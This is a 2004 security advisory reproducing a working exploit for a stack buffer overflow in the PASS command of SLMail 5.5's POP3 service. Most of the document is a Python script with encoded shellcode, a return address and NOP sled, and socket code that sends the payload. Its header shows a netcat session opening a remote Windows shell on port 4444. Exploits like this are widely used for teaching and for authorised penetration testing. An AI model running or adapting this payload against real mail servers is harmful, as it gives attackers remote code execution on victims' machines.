[EXPL] SLMail PASS Buffer Overflow

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Date: 11/19/04

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      SLMail PASS Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.slmail.com/> SLMailThe SLMail suffer from a remotely
    exploitable buffer overflow vulnerability in its handling of user provided
    passwords. The following exploit code can be used to test your SLMail
    version for the mentioned vulnerability.

    DETAILS

    Vulnerable Systems:
     * SLmail version 5.5

    Exploit:
    ######################################
    # #
    # SLmail 5.5 POP3 PASS Buffer Overflow #
    # Discovered by : Muts #
    # Coded by : Muts #
    # WWW.WHITEHAT.CO.IL #
    # Plain vanilla stack overflow in the PASS command #
    # #
    ######################################
    # D:\Projects\BO>SLmail-5.5-POP3-PASS.py #
    ######################################
    # D:\Projects\BO>nc -v 192.168.1.167 4444 #
    # localhost.lan [192.168.1.167] 4444 (?) open #
    # Microsoft Windows 2000 [Version 5.00.2195] #
    # (C) Copyright 1985-2000 Microsoft Corp. #
    # C:\Program Files\SLmail\System> #
    ######################################

    import struct
    import socket

    print "\n\n############################"
    print "\nSLmail 5.5 POP3 PASS Buffer Overflow"
    print "\nFound & coded by muts [at] whitehat.co.il"
    print "\nFor Educational Purposes Only!"
    print "\n\n############################"

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    sc = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"
    sc += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"
    sc += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"
    sc += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"
    sc += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"
    sc += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"
    sc += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"
    sc += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"
    sc += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"
    sc += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"
    sc += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"
    sc += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"
    sc += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"
    sc += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"
    sc += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"
    sc += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"
    sc += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"
    sc += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"
    sc += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"
    sc += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"
    sc += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"
    sc += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"
    sc += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"
    sc += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"
    sc += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"

    #Tested on Win2k SP4 Unpatched
    # Change ret address if needed
    buffer = '\x41' * 4654 + struct.pack('<L', 0x783d6ddf) + '\x90'*32 + sc
    try:
     print "\nSending evil buffer..."
     s.connect(('192.168.1.167',110))
     data = s.recv(1024)
     s.send('USER username' +'\r\n')
     data = s.recv(1024)
     s.send('PASS ' + buffer + '\r\n')
     data = s.recv(1024)
     s.close()
     print "\nDone! Try connecting to port 4444 on victim machine."
    except:
     print "Could not connect to POP3!

    ADDITIONAL INFORMATION

    The information has been provided by Muts.

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